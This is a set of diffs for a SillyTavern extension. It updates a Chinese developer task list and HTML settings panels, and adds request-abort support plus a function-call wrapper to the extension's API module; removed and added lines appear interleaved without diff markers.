- **表格模块**:核心在 [core/table-system/](core/table-system/) ,已按 IAD 拆分dto/infra/actions/rendering.js/templates.js/preset.jsmanager.js 退化为兼容层(仍保留 16 个 UI mutation + loadTables + updateTableFromText
- **API 厂商识别**[utils/api-vendor.js](utils/api-vendor.js) 提供 detectVendor / listVendorParamsregistry 在 [assets/api-vendor-params.json](assets/api-vendor-params.json)
- **VS Code 类型校验**[jsconfig.json](jsconfig.json) 已开启 checkJs[types/sillytavern.d.ts](types/sillytavern.d.ts) 提供 SillyTavern 全局模块声明
- **状态权威**`utils/config/ApiProfileManager.js` 是 API 配置单一指挥所profile 分配后即权威,旧字段不再覆盖 profilelegacy 迁移已版本化(`_legacyProfileMigrationVersion`,当前 v2 覆盖 8 个 chat slot
- **表格模块**:核心在 [core/table-system/](core/table-system/)IAD 拆分dto/infra/actions/rendering.js/templates.js/preset.js/events-dispatch.jsmanager.js 已收缩至 ~600 行编排层19 个 UI 突变在 [actions/ui-mutations.js](core/table-system/actions/ui-mutations.js)manager re-export 兼容
- **memory-blocks**[core/memory-blocks/](core/memory-blocks/) 占位符驱动工作流static + ai_call 两种 handler自定义块 UI 在剧情优化面板Phase 3JSON 导入导出 / 战斗系统 plugin handler未做
- **API 厂商识别**[utils/api-vendor.js](utils/api-vendor.js) detectVendor 为单一入口,业务路径散乱 includes 已清零
- **VS Code 类型校验**[jsconfig.json](jsconfig.json) checkJs 开启,[types/sillytavern.d.ts](types/sillytavern.d.ts) 提供全局声明
---
## 二、待办任务
## 二、已完成任务2026-06-11 核对)
### 任务卡格式说明
每个任务包含:
- **类型**bug / feature / refactor / cleanup / docs
- **难度**:🟢 简单(< 1h 🟡 中等1-3h 🔴 高耦合(> 3h 或需架构判断)
- **建议执行者**`GPT` / `Claude` / `Human` / `任意`
- **文件**:明确路径 + 行号锚点(若适用)
- **修改要点**bullet 列表
- **验收**:可验证的预期行为
- **依赖**:前置任务的 ID若有
| ID | 内容 | 状态 |
|----|------|------|
| T-001 | 死代码清理 | ✅ 3 处死绑定已删。**例外**`core/fractal-memory.js` 刻意保留——非本人设计,原作者未弃坑,留作坑位,勿删 |
| T-002 | cwb / autoCharCard legacy 自动迁移 | ✅ `6ad1354`。cwb 实际字段为 snake_case`cwb_api_url`autoCharCard 双角色嵌套对象,仅 planner 空/同 executor 时自动迁 |
| T-003 | NCCS 等支路透传 customParams | ✅ Nccs / Ngms / Jqyh / Sybd 四个 API 文件均已接入 |
| T-004 | hint panel 点击参数名插入 | ✅ `.amily2_param_hint_btn` + `_insertParamToCustomParams` |
| T-005 | 散乱 vendor URL 检查迁 detectVendor | ✅ `f7781c2` 收尾。保留项:`_detectVendorFromUrlSync`(迁移 IIFE 自包含、RequestBody.js 兜底(即目标模式) |
| T-006 | profile 已分配时 slider informational | ✅ `784bd70`。范围参数滑条main / plotOptConc / cwb / sybd 四面板URL/Key/模型输入框见 T-012 |
| T-007 | manager.js 抽出 ui-mutations.js | ✅ `ef45e74`。含 events-dispatch.js 抽出manager↔ui-mutations 运行时环留待 0.8 解 |
---
### 🟢 GPT-friendly 简单任务
#### T-001: 清理已确认的死代码
- **类型**cleanup
- **难度**:🟢 简单
- **建议执行者**GPT
- **依赖**:无
**待清理项**
1. **[core/fractal-memory.js](core/fractal-memory.js)** —— 整个文件死代码,`initializeFractalMemory` 在文件外完全没人调用。建议:直接删除整个文件。
2. **[ui/historiography-bindings.js:494-513](ui/historiography-bindings.js#L494)** —— 绑定 `#amily2_ngms_temperature``#amily2_ngms_max_tokens` 这两个 HTML 中已不存在的元素。`getElementById` 永远返回 null整段代码空跑。建议直接删掉这段。
3. **[ui/plot-opt-bindings.js:664-665](ui/plot-opt-bindings.js#L664)** —— 同样引用不存在的 `#amily2_opt_max_tokens` / `#amily2_opt_temperature`。建议:删掉。
4. **[ui/plot-opt-bindings.js:698-699](ui/plot-opt-bindings.js#L698)** —— `opt_bindSlider` 调用同样的不存在 ID删除。
**修改要点**
- 删除前用 grep 确认每个 ID 在所有 .html 文件里都不存在
- 删完后用 grep 检查没有其他文件 import 被删的函数
- 提交前肉眼跑一次表格填表 / 剧情优化 / NGMS 总结,确认 UI 无回归
**验收**
- [ ] 4 处死代码块全部删除
- [ ] 启动控制台无 JS 错误
- [ ] 表格 / 剧情优化 / 总结功能无回归
---
#### T-002: cwb / autoCharCard 加入 legacy 自动迁移
- **类型**feature
- **难度**:🟢 简单
- **建议执行者**GPT
- **依赖**:无
**背景**[utils/config/ApiProfileManager.js](utils/config/ApiProfileManager.js) 的 `LEGACY_PROFILE_MIGRATION_MAP` 目前覆盖 main / plotOpt / plotOptConc / ngms / nccs / sybd 6 个 slot。cwb 和 autoCharCard 的 legacy 字段结构略不同cwb 用 `cwb_apiUrl` / `cwb_apiKey` / `cwb_model` autoCharCard 用 `acc_*` 前缀),所以暂时没纳入。
**修改要点**
1. 找出 cwb / autoCharCard 的 legacy 字段名grep `cwb_apiUrl` / `acc_apiUrl` 之类)
2.`LEGACY_PROFILE_MIGRATION_MAP` 加两条:
```js
{
slot: 'cwb',
urlKey: 'cwb_apiUrl',
modelKey: 'cwb_model',
keyName: 'cwb_apiKey',
maxTokensKey: 'cwb_max_tokens',
temperatureKey: 'cwb_temperature',
name: 'CWB 旧配置',
},
{
slot: 'autoCharCard',
urlKey: '???', // 需 grep 确认实际 key
...
}
```
3. 同时在 `clearLegacyConfig` 的 `ALL_LEGACY_FIELDS` 和 `LEGACY_KEY_NAMES` 加对应条目
**验收**
- [ ] 两个 slot 在迁移自调用 IIFE 跑过后能正确创建 profile + setKey + setAssignment
- [ ] 清理按钮能识别并清除这俩模块的旧字段
---
#### T-003: 表格 NCCS 支路透传 customParams
- **类型**feature
- **难度**:🟢 简单
- **建议执行者**GPT
- **依赖**:无
**背景**v2.2.0 给 `core/api.js` 的 callOpenAITest / callOpenAICompatible / callSillyTavernBackend 都接入了 `options.customParams` spread。但 [core/api/NccsApi.js](core/api/NccsApi.js) 的 `callNccsOpenAITest` 等独立路径**没有**接入,导致用户在 NCCS profile 配置的 customParams 不生效。
**修改要点**
1. 找 [NccsApi.js](core/api/NccsApi.js) 里发请求的函数(`callNccsOpenAITest` / `callNccsSillyTavernPreset`),定位到 `JSON.stringify({ ... })` 处
2. 在 body 构建时按"customParams 在前,核心字段在后覆盖"的顺序 spread
```js
body: JSON.stringify({
...(options.customParams || {}),
// 核心字段
chat_completion_source: 'openai',
model: options.model,
messages,
// ...
})
```
3. 同时确保 `getNccsApiSettings` 把 `profile.customParams` 透出(参考 [core/api.js:447-462](core/api.js#L447) 模式)
4. 同步给 NgmsApi / JqyhApi / SybdApi 做相同处理
**验收**
- [ ] 在 NCCS profile 加 `{"top_p": 0.5}` 后DevTools Network 看请求 body 包含 top_p:0.5
- [ ] NGMS / JQYH / SYBD 同样验证
---
#### T-004: hint panel 点击参数名插入到 textarea
- **类型**feature
- **难度**:🟢 简单
- **建议执行者**GPT
- **依赖**:无
**背景**[ui/api-config-bindings.js](ui/api-config-bindings.js) 的 `_updateCustomParamsHint` 现在只显示纯文本"已知参数top_p、frequency_penalty、..."。没有交互。
**修改要点**
1. 把 hint 区改成参数名按钮列表,每个按钮 click 触发"如果当前 textarea JSON 已有这个 key 则不动,没有就 append 进去"
2. 实现 `_insertParamToCustomParams(paramName, defaultValue)`:解析 textarea JSON → 添加 key用合理的占位值例如 number 类型用 0、string 类型用 ""、object 类型用 {})→ JSON.stringify 回写
3. 处理 textarea 当前为空 / 当前是非法 JSON 的情况(非法 JSON 时按钮 disabled + 提示用户先修复)
**验收**
- [ ] 切换 vendor 后参数名按钮列表更新
- [ ] 点击按钮把对应 key 添加到 textarea
- [ ] 已存在的 key 不重复添加
---
## 三、待办任务
### 🟡 中等任务
#### T-005: 15 处散乱 vendor URL 检查迁到 detectVendor
#### T-009: 表格 Phase B — JSON formatter
- **类型**refactor
- **类型**feature
- **难度**:🟡 中等
- **建议执行者**GPT 或 Claude
- **依赖**:无
- **依赖**:无(不依赖 Bus 升级)
**背景**:之前的 51TODO Phase B 收尾任务。代码里 15+ 处 `apiUrl.includes('googleapis.com')` 散乱判断厂商,应该统一调 [utils/api-vendor.js#detectVendor](utils/api-vendor.js)。
**详见**[TableTODO.md#五-phase-b-json-formatter](TableTODO.md)
**待迁移文件**grep `googleapis.com|anthropic.com|openai.com` 找)
**核心交付**
- `core/table-system/formatters/json.js`:教 LLM 输出 `{"operations":[...]}`,解析为 Op[]
- 设置项 `table_filling_format: 'legacy'|'json'|'toolcall'`,默认 `legacy`
- UI 加 dropdown 切换
- fillerShared 调用统一 formatter dispatcher
- `ui/api-config-bindings.js`
- `ui/plot-opt-bindings.js`
- `core/rag-api.js`
- `ui/profile-sync.js`
- `core/api.js`
- `CharacterWorldBook/src/cwb_apiService.js`
- `ui/bindings.js`
- `ui/table/nccs-bindings.js`
- `core/api/SybdApi.js`
- `core/api/Ngms_api.js`
- `core/api/JqyhApi.js`
- `core/api/NccsApi.js`
- `core/api/ConcurrentApi.js`
**修改要点**
1. 每处 `if (apiUrl.includes('googleapis.com'))` 改为 `if ((await detectVendor(apiUrl)) === 'google')`
2. 注意有的位置在同步上下文(事件回调),用 `detectVendorSync` 但要先 `await getRegistry()` 预加载
3. 不要为了重构改变行为:原来只判断 google 就只判断 google原来判断多个 vendor 就保留多个
**验收**
- [ ] 所有散乱 URL 检查替换完
- [ ] 行为完全等价(用 grep 自检 includes 已全替换)
- [ ] 跑一遍主功能(主聊天 / 剧情优化 / NGMS 总结 / 表格填表)确认无回归
**预估**0.5 天
---
#### T-006: jqyh/sybd/cwb 在 profile 已分配时把 slider 改成 informational
#### T-012: URL / Key / 模型输入框的 profile 压制提示T-006 续)
- **类型**feature / UX
- **难度**:🟡 中等
- **建议执行者**GPT 或 Claude
- **依赖**:无
- **依赖**:无(复用 [ui/profile-slider-guard.js](ui/profile-slider-guard.js)
**背景**v2.2.0 之后profile 一旦分配就权威jqyh/sybd/cwb 这些有 slider 的模块在 profile 分配后 slider 是无效的(用户改 slider 不影响请求)。这是用户陷阱
**修改要点**
每个有 slider 的模块面板([plot-opt-bindings.js](ui/plot-opt-bindings.js) / [historiography-bindings.js](ui/historiography-bindings.js) / [glossary 相关 bindings](ui/) / [cwb_settingsManager.js](CharacterWorldBook/src/cwb_settingsManager.js)
1. 启动时 / profile 分配变化时检查对应 slot 是否分配了 profile
2. 若已分配:
- slider disable
- slider 旁加小字提示:"当前由 profile 「{profile.name}」 控制,请在 API 连接配置面板修改 profile"
3. 若未分配保持原样slider 可用,写入 legacy 字段)
4. 监听 profile 分配变化事件(可通过 ApiProfileManager 加 subscribe或者轮询
**背景**T-006 只覆盖了参数滑条。各模块面板的 API URL / Key / 模型输入框在 profile 分配后同样失效,且涉及「测试连接 / 拉取模型」按钮的联动判断(这些按钮读的是 profile 还是 DOM 因模块而异),需逐面板核对后接入 `watchProfileSliderGuard`
**验收**
- [ ] 给 plotOpt 分配 profile 后,剧情优化面板的温度/maxTokens slider 变灰 + 提示
- [ ] 取消分配后 slider 重新可用
- [ ] 其他模块同样行为
- [ ] profile 分配后各面板 URL/Key/模型输入框 disable + 提示
- [ ] 测试连接按钮行为与提示一致(测的是 profile 配置就保持可用)
---
#### T-007: 表格 Phase 0.4 — 抽出 mutations.js
#### T-013: 剧情优化面板 top_p / presence / frequency 输入为死配置
- **类型**refactor
- **难度**:🟡 中等
- **建议执行者**Claude涉及 IAD 一致性判断)
- **类型**bug / cleanup
- **难度**:🟡 中等(需决策)
- **建议执行者**Human 决策 + 任意执行
- **依赖**:无
**背景**[TableTODO.md#四-phase-0](TableTODO.md) 计划的 Phase 0.4。manager.js 还有 16 个 UI 突变函数addRow / deleteColumn / renameTable 等),应抽到 `core/table-system/actions/ui-mutations.js`。
**修改要点**
1. 在 `core/table-system/actions/` 创建 `ui-mutations.js`
2. 把 manager.js 里这 16 个函数搬过去deleteColumn / moveRow / insertRow / addRow / addColumn / updateHeader / deleteRow / restoreRow / commitPendingDeletions / insertColumn / moveColumn / deleteTable / addTable / renameTable / moveTable / updateTableRules / updateRow / clearAllTables / updateColumnWidth
3. manager.js 改为 re-export 这些函数(保持外部调用路径不变)
4. 各函数签名/行为保持完全一致
**验收**
- [ ] manager.js 行数显著减少
- [ ] 所有 UI 突变操作在表格面板里行为一致(手动测每个操作)
- [ ] 没有任何 import 失败
**背景**`plotOpt_top_p` / `plotOpt_presence_penalty` / `plotOpt_frequency_penalty` 只有 UI 在读写([plot-opt-bindings.js](ui/plot-opt-bindings.js)core 请求路径无人消费——用户改了完全没效果。二选一:
1. 接上:在 plotOpt 请求体里带上这三个参数profile 的 customParams 机制已能覆盖此需求,可能多余)
2. 删掉:移除 UI 控件 + 默认值 +(已在 clearLegacyConfig 列表中)
---
@@ -277,25 +122,6 @@
---
#### T-009: 表格 Phase B — JSON formatter
- **类型**feature
- **难度**:🟡 中等
- **建议执行者**GPT 或 Claude
- **依赖**:无(不依赖 Bus 升级)
**详见**[TableTODO.md#五-phase-b-json-formatter](TableTODO.md)
**核心交付**
- `core/table-system/formatters/json.js`:教 LLM 输出 `{"operations":[...]}`,解析为 Op[]
- 设置项 `table_filling_format: 'legacy'|'json'|'toolcall'`,默认 `legacy`
- UI 加 dropdown 切换
- fillerShared 调用统一 formatter dispatcher
**预估**0.5 天
---
#### T-010: 表格 Phase C — ToolCall formatter
- **类型**feature
@@ -312,45 +138,52 @@
- **类型**refactor
- **难度**:🔴 高filler 三方差异需小心对齐 / 解循环依赖 / Service 重写)
- **建议执行者**Claude
- **依赖**T-007Phase 0.4 mutations 完成后做)
- **依赖**T-007 已完成 ✅,可随时开工
**详见**[TableTODO.md#四-phase-0](TableTODO.md) 0.7-0.9
- 0.7: `core/table-system/filler/shared.js` —— 三个 filler 重复代码消除
- 0.8: 解 manager.js ↔ secondary-filler.js 循环依赖
- 0.8: 解循环依赖(manager ↔ secondary-filler;新增的 manager ↔ ui-mutations 一并处理)
- 0.9: TableSystemService 真正变成门面
**预估**1 天
---
## 三、派工建议
#### T-014: memory-blocks Phase 3
### 适合现在直接派给 GPT独立、无架构判断
- **类型**feature
- **难度**:🟡 中等
- **建议执行者**Claude
- **依赖**Phase 2 已完成 ✅(`91ceecc`
- ✅ T-001 死代码清理
- ✅ T-002 cwb/autoCharCard 加入迁移
- ✅ T-003 NCCS 透传 customParams
- ✅ T-004 hint panel 点击插入
### GPT 或 Claude 都可以
- T-005 vendor 检查迁移(量大但机械)
- T-006 slider informational 状态
- T-009 JSON formatter
### 建议留给 Claude 或人
- T-007 mutations.js 抽出(涉及 IAD 一致性)
- T-008 Bus tool-call 升级(架构核心)
- T-010 ToolCall formatter依赖前置
- T-011 表格 Phase 0 收尾filler 重复代码 dedup 风险高)
**核心交付**
- 自定义块 JSON 导入导出(`replaceContextBlocks` 已就位)
- 战斗系统通过 `plugin` handler 接入types.js 契约已预留)
- summarizer 链路补 AbortController让 ai_call 块可中断handler 的 signal 透传已就位)
---
## 四、未列入但可能的小项
## 四、派工建议
### GPT 或 Claude 都可以
- T-009 JSON formatter
- T-012 URL/Key informational机械照 T-006 模式)
### 建议留给 Claude 或人
- T-008 Bus tool-call 升级(架构核心)
- T-010 ToolCall formatter依赖前置
- T-011 表格 Phase 0 收尾filler dedup 风险高)
- T-013 死配置决策(需 Human 拍板接上还是删掉)
- T-014 memory-blocks Phase 3
---
## 五、未列入但可能的小项
- 自动迁移完成后给所有 chat 类型 slot 加默认 link 选项(不只 tableFilling
- profile 分配 UI 加"复用现有 profile"快捷按钮(避免用户为每个 slot 重复创建相同配置)
- 51TODO.md 第三节决策点中"是否合并发版"等问题做最终决定记录
- TODO.md旧版本变更日志的 v2.2.0 版本条目补全
- TODO.md旧版本变更日志的 v2.2.x 版本条目补全

View File

@@ -36,47 +36,12 @@
<!-- API Settings Tab -->
<div id="sinan-api-settings-tab" class="sinan-tab-pane active">
<fieldset class="settings-group">
<legend>Jqyh API</legend>
<div class="control-block-with-switch">
<label for="amily2_jqyh_enabled"><strong>启用 Jqyh API</strong></label>
<label class="toggle-switch">
<input id="amily2_jqyh_enabled" type="checkbox" />
<span class="slider"></span>
</label>
</div>
<div id="amily2_jqyh_content" style="display: none;" class="inline-settings-grid">
<label for="amily2_jqyh_api_mode">API 模式</label>
<select id="amily2_jqyh_api_mode" class="text_pole">
<option value="openai_test">全兼容模式</option>
<option value="sillytavern_preset">SillyTavern 预设</option>
</select>
<div id="amily2_jqyh_compatible_config" class="inline-settings-grid" style="grid-column: 1 / -1;">
<label for="amily2_jqyh_api_url">API URL</label>
<input type="text" id="amily2_jqyh_api_url" class="text_pole" placeholder="例如: https://api.openai.com/v1">
<label for="amily2_jqyh_api_key">API Key</label>
<input type="password" id="amily2_jqyh_api_key" class="text_pole" placeholder="请输入您的 API Key">
<label for="amily2_jqyh_model">模型</label>
<div class="amily2_opt_preset_selector_wrapper">
<input type="text" id="amily2_jqyh_model" class="text_pole" placeholder="请先获取模型列表或手动输入">
<select id="amily2_jqyh_model_select" class="text_pole" style="display: none;"></select>
</div>
<div class="jqyh-button-row" style="grid-column: 1 / -1;">
<button id="amily2_jqyh_fetch_models" class="menu_button secondary" title="获取模型列表"><i class="fas fa-sync-alt"></i> 获取模型</button>
<button id="amily2_jqyh_test_connection" class="menu_button primary"><i class="fas fa-plug"></i> 测试连接</button>
</div>
</div>
<div id="amily2_jqyh_preset_config" class="inline-settings-grid" style="display: none; grid-column: 1 / -1;">
<label for="amily2_jqyh_tavern_profile">选择酒馆预设</label>
<select id="amily2_jqyh_tavern_profile" class="text_pole"></select>
</div>
<label for="amily2_jqyh_max_tokens">最大 Tokens: <span id="amily2_jqyh_max_tokens_value">4000</span></label>
<input type="number" class="text_pole" id="amily2_jqyh_max_tokens" min="100" max="100000" value="4000">
<label for="amily2_jqyh_temperature">温度: <span id="amily2_jqyh_temperature_value">0.7</span></label>
<input type="number" class="text_pole" id="amily2_jqyh_temperature" min="0" max="2" value="0.7">
</div>
<legend>剧情优化 API</legend>
<p class="notes" style="margin: 0;">
剧情优化所用的连接配置统一在
<strong>API 连接配置 → 功能分配 → 剧情优化 / JQYH</strong>
中指定,无需在此单独填写。
</p>
</fieldset>
<fieldset class="settings-group">
@@ -210,6 +175,17 @@
<input id="amily2_opt_rate_cuckold" type="number" class="text_pole" step="0.05" value="1.0">
</div>
</fieldset>
<fieldset class="settings-group">
<legend>自定义记忆块</legend>
<div style="font-size: 0.85em; opacity: 0.75; margin-bottom: 8px;">
每个块定义一个占位符:执行剧情优化时,主/拦截提示词中出现的占位符会被块的产出替换。
静态块直接输出固定内容AI 调用块会用所选 API 槽独立请求一次,把回复作为替换值。
</div>
<div id="amily2_opt_custom_blocks_list"></div>
<button id="amily2_opt_add_custom_block" class="menu_button" style="margin-top: 8px;">
<i class="fa-solid fa-plus"></i> 新增记忆块
</button>
</fieldset>
</div>
<!-- Context Settings Tab -->

View File

@@ -250,6 +250,28 @@
<input type="number" id="secondary-filler-max-retries" min="0" max="10" step="1" value="2" class="text_pole" style="width: 80px; margin-top: 5px;">
<small class="notes" style="margin-top: 5px; display: block;">分步填表失败时的自动重试次数 (0 = 不重试)。</small>
</div>
<!-- 触发延迟(防抖) -->
<div class="control-block-with-switch" style="margin-bottom: 10px; flex-direction: column; align-items: flex-start;">
<label for="secondary-filler-delay">触发延迟 (毫秒)</label>
<input type="number" id="secondary-filler-delay" min="0" max="60000" step="100" value="0" class="text_pole" style="width: 80px; margin-top: 5px;">
<small class="notes" style="margin-top: 5px; display: block;">收到新消息后延迟多少毫秒再触发分步填表 (0 = 立即触发);延迟期内若再次收到消息会重置计时,起到防抖作用。</small>
</div>
<!-- 中断与手动解锁(兜底) -->
<div class="control-block-with-switch" style="margin-bottom: 10px; flex-direction: column; align-items: flex-start;">
<label>填表运行控制</label>
<div style="display: flex; align-items: center; gap: 8px; margin-top: 5px; flex-wrap: wrap;">
<button id="amily2-abort-secondary-filler" class="menu_button danger small_button interactable" type="button">
<i class="fas fa-stop-circle"></i> 强制中断当前填表
</button>
<button id="amily2-reset-secondary-filler-lock" class="menu_button warning small_button interactable" type="button">
<i class="fas fa-unlock"></i> 手动解除填表锁
</button>
<span id="amily2-secondary-filler-lock-status" class="notes" style="font-size: 12px;">状态:空闲</span>
</div>
<small class="notes" style="margin-top: 5px; display: block;"><b>强制中断</b>:通过 AbortController 真正掐断进行中的 API 请求并丢弃结果(写表/写 hash/saveChat 都不会执行)。<br><b>手动解除填表锁</b>:仅释放 UI 锁,用于"中断"也救不回来的极端死锁兜底——若遇到"分步填表正在进行中,跳过本次触发"反复出现且新消息无法触发,可手动点击释放。</small>
</div>
</div>
<div class="control-block-with-switch" style="margin-bottom: 10px; display: flex; flex-direction: column; align-items: flex-start; gap: 8px;">
@@ -288,7 +310,22 @@
</fieldset>
<hr class="section-divider" style="margin: 10px 0;">
<!-- Function Call 填表 -->
<div class="control-block-with-switch" style="margin-bottom: 6px;">
<label for="table-fill-function-call-enabled" title="使用 OpenAI Function Call工具调用进行填表模型直接返回结构化操作列表无需解析 &lt;Amily2Edit&gt; 指令块。仅支持 openai 直连模式。">使用 Function Call 填表</label>
<label class="toggle-switch">
<input type="checkbox" id="table-fill-function-call-enabled">
<span class="slider"></span>
</label>
</div>
<p class="notes" style="margin-bottom: 6px;">仅支持 openai 直连接口tableFilling 槽位)。启用后跳过 &lt;Amily2Edit&gt; 文本解析,由模型直接返回操作列表。</p>
<div style="background: rgba(255, 160, 0, 0.12); border-left: 3px solid #ffa000; border-radius: 3px; padding: 6px 10px; margin-bottom: 10px; font-size: 0.85em; color: #ffcc80;">
⚠️ 部分公益站因禁止用于跑代码会屏蔽 tools 参数,请确认公益站是否支持 tools 调用,避免被意外封禁。
</div>
<hr class="section-divider" style="margin: 10px 0;">
<!-- Nccs API 控制区域 -->
<fieldset class="settings-group" style="border-style: dashed; padding: 8px; margin-bottom: 10px;">
<legend><i class="fas fa-brain"></i> Nccs API 系统</legend>

View File

@@ -89,6 +89,8 @@
<option value="custom">自定义 (OpenAI/Azure 兼容)</option>
<option value="google_direct">Google 直连</option>
<option value="local_proxy">本地代理 (LM Studio/Ollama)</option>
<option value="openai">OpenAI 官方</option>
<option value="azure">Azure (api-key 头)</option>
</select>
</div>
<div class="hly-control-block" id="hly-custom-endpoint-docket">

View File

@@ -212,14 +212,14 @@
<button id="amily2_open_additional_features" class="menu_button wide_button"><i class="fas fa-landmark-dome"></i> 总结模块</button>
<button id="amily2_open_rag_palace" class="menu_button wide_button"><i class="fas fa-brain"></i> 向量模块</button>
<button id="amily2_open_memorisation_forms" class="menu_button wide_button"><i class="fas fa-table"></i> 表格模块</button>
<button id="amily2_open_character_world_book" class="menu_button wide_button"><i class="fa-solid fa-book-atlas"></i> 角色世界</button>
<button id="amily2_open_plot_optimization" class="menu_button wide_button"><i class="fas fa-feather-alt"></i> 记忆管理</button>
</div>
</fieldset>
<fieldset class="settings-group">
<legend><i class="fas fa-puzzle-piece"></i> 附加功能</legend>
<div class="button-group" style="display: flex; justify-content: space-between; gap: 8px;">
<button id="amily2_open_plot_optimization" class="menu_button wide_button"><i class="fas fa-feather-alt"></i> 记忆管理</button>
<button id="amily2_open_character_world_book" class="menu_button wide_button"><i class="fa-solid fa-book-atlas"></i> 角色世界</button>
<button id="amily2_open_text_optimization" class="menu_button wide_button"><i class="fas fa-cogs"></i> 正文优化</button>
<button id="amily2_open_world_editor" class="menu_button wide_button"><i class="fas fa-globe"></i> 世界编辑</button>
<button id="amily2_open_glossary" class="menu_button wide_button"><i class="fas fa-book"></i> 术语表单</button>
@@ -227,6 +227,7 @@
<div class="button-group" style="display: flex; justify-content: space-between; gap: 8px; margin-top: 8px;">
<button id="amily2_open_renderer" class="menu_button wide_button"><i class="fas fa-paint-brush"></i> 前端渲染</button>
<button id="amily2_open_sfigen" class="menu_button wide_button"><i class="fas fa-image"></i> 硅基生图</button>
<button id="amily2_open_preset_editor" class="menu_button wide_button"><i class="fa-solid fa-scroll"></i> 提示词链</button>
</div>
</fieldset>
@@ -236,6 +237,9 @@
<button id="amily2_open_super_memory" class="menu_button wide_button"><i class="fas fa-brain"></i> 超级记忆</button>
<button id="amily2_open_auto_char_card" class="menu_button wide_button"><i class="fas fa-robot"></i> 一键生卡</button>
</div>
<div class="button-group" style="display: flex; justify-content: space-between; gap: 8px; margin-top: 8px;">
<button id="amily2_open_progressive_memory" class="menu_button wide_button"><i class="fas fa-layer-group"></i> 渐进记忆</button>
</div>
</fieldset>
<fieldset class="settings-group">

View File

@@ -16,6 +16,10 @@
<div class="amily2_settings_block" style="margin-top:10px;">
<label><input id="amily2_rule_profile_tag_toggle" type="checkbox"> 启用标签提取</label>
</div>
<div class="amily2_settings_block" style="margin-top:10px;">
<label><input id="amily2_rule_profile_exclude_user" type="checkbox"> 自动排除用户楼层</label>
<small class="notes" style="display:block; margin-top:4px;">勾选后,使用此规则时将自动跳过用户发送的消息楼层,不纳入总结/提取内容。</small>
</div>
<div id="amily2_rule_profile_tags_wrap" class="amily2_settings_block" style="display:none; margin-top:10px;">
<label for="amily2_rule_profile_tags">标签列表</label>
<textarea id="amily2_rule_profile_tags" class="text_pole" rows="3" placeholder="例如content,details,summary"></textarea>

View File

@@ -485,8 +485,7 @@ export async function getApiSettings(slot = 'main') {
apiProvider: apiMode,
apiUrl: settings.plotOpt_apiUrl?.trim() || '',
apiKey: configManager.get('plotOpt_apiKey') || '',
model: document.getElementById('amily2_opt_model')?.value?.trim()
|| settings.plotOpt_model || '',
model: settings.plotOpt_model || '',
maxTokens: settings.plotOpt_max_tokens ?? 65500,
temperature: settings.plotOpt_temperature ?? 1.0,
tavernProfile: '',
@@ -589,6 +588,7 @@ export async function callAI(messages, options = {}) {
apiKey: apiSettings.apiKey,
apiProvider: apiSettings.apiProvider,
customParams: apiSettings.customParams ?? {},
signal: options.signal,
...options,
// options 可显式覆盖 customParams体现"代码内显式 > profile 配置"
customParams: { ...(apiSettings.customParams ?? {}), ...(options.customParams ?? {}) },
@@ -649,6 +649,10 @@ export async function callAI(messages, options = {}) {
return responseContent;
} catch (error) {
if (error?.name === 'AbortError') {
console.warn('[Amily2-外交部] API 调用被用户中断。');
throw error; // 让上层(如 secondary-filler识别并跳过结果处理
}
console.error(`[Amily2-外交部] API调用发生错误:`, error);
if (error.message.includes('400')) {
@@ -664,7 +668,7 @@ export async function callAI(messages, options = {}) {
} else {
toastr.error(`API调用失败: ${error.message}`, "API调用失败");
}
return null;
}
}
@@ -691,7 +695,8 @@ async function callOpenAICompatible(messages, options) {
max_tokens: options.maxTokens,
temperature: options.temperature,
stream: false,
})
}),
signal: options.signal,
});
if (!response.ok) {
@@ -733,7 +738,8 @@ async function callOpenAITest(messages, options) {
const response = await fetch('/api/backends/chat-completions/generate', {
method: 'POST',
headers: { ...getRequestHeaders(), 'Content-Type': 'application/json' },
body: JSON.stringify(body)
body: JSON.stringify(body),
signal: options.signal,
});
if (!response.ok) {
@@ -775,10 +781,11 @@ async function callGoogleDirect(messages, options) {
temperature: options.temperature
}));
const response = await fetch(finalApiUrl, {
method: "POST",
headers: headers,
body: requestBody
const response = await fetch(finalApiUrl, {
method: "POST",
headers: headers,
body: requestBody,
signal: options.signal,
});
if (!response.ok) {
@@ -823,11 +830,10 @@ async function callGoogleDirect(messages, options) {
async function callSillyTavernBackend(messages, options) {
console.log('[Amily2号-ST后端] 通过SillyTavern后端调用API');
const rawResponse = await $.ajax({
url: '/api/backends/chat-completions/generate',
type: 'POST',
contentType: 'application/json',
data: JSON.stringify({
const response = await fetch('/api/backends/chat-completions/generate', {
method: 'POST',
headers: { ...getRequestHeaders(), 'Content-Type': 'application/json' },
body: JSON.stringify({
// 用户 customParams可被核心字段覆盖
...(options.customParams || {}),
// 表单托管字段总是 win
@@ -839,9 +845,16 @@ async function callSillyTavernBackend(messages, options) {
max_tokens: options.maxTokens,
temperature: options.temperature,
stream: false,
})
}),
signal: options.signal,
});
if (!response.ok) {
const errorText = await response.text();
throw new Error(`SillyTavern后端API请求失败: ${response.status} - ${errorText}`);
}
const rawResponse = await response.json();
const result = normalizeApiResponse(rawResponse);
if (result.error) {
throw new Error(result.error.message || 'SillyTavern后端API调用失败');
@@ -851,6 +864,28 @@ async function callSillyTavernBackend(messages, options) {
}
function raceAgainstSignal(promise, signal) {
if (!signal) return promise;
if (signal.aborted) {
const err = new Error('Aborted');
err.name = 'AbortError';
return Promise.reject(err);
}
return new Promise((resolve, reject) => {
const onAbort = () => {
signal.removeEventListener('abort', onAbort);
const err = new Error('Aborted');
err.name = 'AbortError';
reject(err);
};
signal.addEventListener('abort', onAbort, { once: true });
promise.then(
(v) => { signal.removeEventListener('abort', onAbort); resolve(v); },
(e) => { signal.removeEventListener('abort', onAbort); reject(e); },
);
});
}
async function callSillyTavernPreset(messages, options) {
console.log('[Amily2号-ST预设] 使用SillyTavern预设调用');
@@ -910,7 +945,7 @@ async function callSillyTavernPreset(messages, options) {
}
}
const result = await responsePromise;
const result = await raceAgainstSignal(responsePromise, options.signal);
if (!result) {
throw new Error('未收到API响应');
@@ -949,3 +984,126 @@ export async function checkAndFixWithAPI(latestMessage, previousMessages) {
const { processOptimization } = await import('./summarizer.js');
return await processOptimization(latestMessage, previousMessages);
}
/**
* 使用 OpenAI Function Call 调用 AI返回 tool_calls[0].function.arguments 字符串。
* 仅支持 openai / openai_test 接口Google / ST preset / backend 不在标准 tool_calls 格式下工作)。
*
* @param {Array} messages
* @param {Object} tool - OpenAI tools 定义对象(单个,含 type/function 字段)
* @param {Object} options - 同 callAI 的 options支持 slot / customParams 等
* @returns {Promise<string|null>} arguments JSON 字符串,失败返回 null
*/
export async function callAIForTools(messages, tool, options = {}) {
